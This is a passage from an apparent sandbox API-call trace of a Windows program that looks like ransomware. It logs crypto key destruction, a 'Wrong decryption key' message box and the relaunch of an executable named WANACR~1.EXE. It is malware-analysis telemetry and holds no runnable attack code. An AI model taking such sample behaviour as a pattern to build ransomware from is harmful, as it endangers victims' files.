wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.433] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.433] PeekMessageW (in: lpMsg=0x10f395e4a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e4a0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395eab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eab0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395edd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395edd0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.433] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.434] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0049.434] PeekMessageW (in: lpMsg=0x10f395f000, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f000) returned 0 [0049.434] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.434] PeekMessageW (in: lpMsg=0x10f395e760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e760) returned 0 [0049.434] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.434] CryptDestroyKey (hKey=0x10f3be5dc0) returned 1 [0049.434] PeekMessageW (in: lpMsg=0x10f395f000, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f000) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395f000, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f000) returned 0 [0049.434] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.434] PeekMessageW (in: lpMsg=0x10f395ece0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ece0) returned 0 [0049.434] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.434] PeekMessageW (in: lpMsg=0x10f395e9c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e9c0) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395e9c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e9c0) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395ece0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ece0) returned 0 [0049.434] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.434] PeekMessageW (in: lpMsg=0x10f395e6d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e6d0) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395ece0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ece0) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395ece0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ece0) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395f000, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f000) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395f000, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f000) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.434] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0049.434] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.434] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0049.434] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.434] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.435] PeekMessageW (in: lpMsg=0x10f395eb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eb80) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.435] PeekMessageW (in: lpMsg=0x10f395ec10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ec10) returned 0 [0049.435] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0049.435] PeekMessageW (in: lpMsg=0x10f395ec10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ec10) returned 0 [0049.435] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.435] CryptReleaseContext (hProv=0x10f3c3d4c0, dwFlags=0x0) returned 1 [0049.435] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.435] PeekMessageW (in: lpMsg=0x10f395ec10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ec10) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.435] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.436] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.436] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.436] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.436] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.436] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0049.443] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.443] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x0, lParam=0xb01e4) returned 0x1 [0049.443] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.443] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.443] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x0, lParam=0xb01e4) returned 0x0 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] GetWindowLongW (hWnd=0x501e8, nIndex=-20) returned 256 [0049.444] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x84, wParam=0x0, lParam=0x2000371) returned 0x1 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395ef20 | out: lpRect=0x10f395ef20) returned 1 [0049.444] GetCursorPos (in: lpPoint=0x10f395ef40 | out: lpPoint=0x10f395ef40*(x=881, y=512)) returned 1 [0049.444] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395ef40 | out: lpPoint=0x10f395ef40) returned 1 [0049.444] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.444] SetCursor (hCursor=0x10003) returned 0x10007 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x200, wParam=0x0, lParam=0x18a0230) returned 0x0 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x78010826, lParam=0x0) returned 0x1 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.444] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.444] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.444] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x78010826, lParam=0x4) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.445] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.445] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.445] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.445] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.447] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.447] GetWindowLongW (hWnd=0x501e8, nIndex=-20) returned 256 [0049.447] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x84, wParam=0x0, lParam=0x2000371) returned 0x1 [0049.447] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.447] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.447] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395ef20 | out: lpRect=0x10f395ef20) returned 1 [0049.447] GetCursorPos (in: lpPoint=0x10f395ef40 | out: lpPoint=0x10f395ef40*(x=881, y=512)) returned 1 [0049.447] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395ef40 | out: lpPoint=0x10f395ef40) returned 1 [0049.447] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.447] SetCursor (hCursor=0x10003) returned 0x10003 [0049.447] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.447] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x200, wParam=0x0, lParam=0x18a0230) returned 0x0 [0049.459] GetForegroundWindow () returned 0xb01e4 [0049.459] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.503] GetForegroundWindow () returned 0xb01e4 [0049.503] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.550] GetForegroundWindow () returned 0xb01e4 [0049.550] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.598] GetForegroundWindow () returned 0xb01e4 [0049.598] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.644] GetForegroundWindow () returned 0xf0208 [0049.644] GetWindowLongPtrW (hWnd=0xf0208, nIndex=-21) returned 0x0 [0049.694] GetForegroundWindow () returned 0xb01e4 [0049.695] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.739] GetForegroundWindow () returned 0xb01e4 [0049.739] GetWindowLongPtrW (hWnd=0xb01e4, nIndex=-21) returned 0x10f395f640 [0049.772] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.772] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x46, wParam=0x0, lParam=0x10f395f200) returned 0x0 [0049.773] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.773] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x47, wParam=0x0, lParam=0x10f395f200) returned 0x0 [0049.773] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.773] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0049.773] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0049.774] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.774] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0049.775] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.775] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.775] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0049.781] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.781] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.781] GetWindowLongW (hWnd=0x501e8, nIndex=-20) returned 256 [0049.781] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x84, wParam=0x0, lParam=0x1f70312) returned 0x1 [0049.781] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.781] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.781] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395f480 | out: lpRect=0x10f395f480) returned 1 [0049.781] GetCursorPos (in: lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0*(x=786, y=503)) returned 1 [0049.781] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0) returned 1 [0049.781] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.781] SetCursor (hCursor=0x10003) returned 0x10003 [0049.782] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.782] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0049.782] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.782] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x200, wParam=0x0, lParam=0x18101d1) returned 0x0 [0049.782] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.782] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.782] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0049.782] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.782] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x78010826, lParam=0x0) returned 0x1 [0049.782] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.782] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.782] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.782] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x78010826, lParam=0x4) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.789] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.789] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.789] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.789] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0049.790] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.790] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.790] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0049.790] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0049.790] GetForegroundWindow () returned 0x501e8 [0049.790] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.790] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=786, y=503)) returned 1 [0049.790] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0049.790] GetAsyncKeyState (vKey=1) returned 1 [0049.790] GetAsyncKeyState (vKey=2) returned 0 [0049.790] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.790] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0049.790] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.791] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.791] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0049.791] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0x10f3c16a50 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0049.791] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0x10f395f3f0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x10f395f380 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0x10f395f380*(hProcess=0x194, hThread=0x1dc, dwProcessId=0x968, dwThreadId=0xb98)) returned 1 [0049.798] CloseHandle (hObject=0x1dc) returned 1 [0049.798] CloseHandle (hObject=0x194) returned 1 [0049.798] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.798] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.798] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.798] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.798] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 0 [0049.798] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0049.798] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0049.799] Shell_NotifyIconW (dwMessage=0x1, lpData=0x10f395ee00) returned 1 [0049.807] KillTimer (hWnd=0xa002c, uIDEvent=0x1) returned 1 [0049.807] SetTimer (hWnd=0xa002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0049.807] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.807] LockWindowUpdate (hWndLock=0x0) returned 0 [0049.807] DestroyWindow (hWnd=0xa002c) returned 1 [0049.807] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0049.808] KillTimer (hWnd=0xa002c, uIDEvent=0x1) returned 1 [0049.808] Shell_NotifyIconW (dwMessage=0x2, lpData=0x10f395f1a0) returned 1 [0049.811] DestroyWindow (hWnd=0x501e8) returned 1 [0049.811] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.811] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x46, wParam=0x0, lParam=0x10f395f510) returned 0x0 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x47, wParam=0x0, lParam=0x10f395f510) returned 0x0 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0049.812] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.812] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0049.812] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0049.813] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.813] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.813] InvalidateRect (hWnd=0x501e8, lpRect=0x0, bErase=1) returned 1 [0049.813] DestroyAcceleratorTable (hAccel=0x2901c7) returned 1 [0049.813] DeleteObject (ho=0x6a0a05d0) returned 1 [0049.813] DestroyWindow (hWnd=0xb018c) returned 1 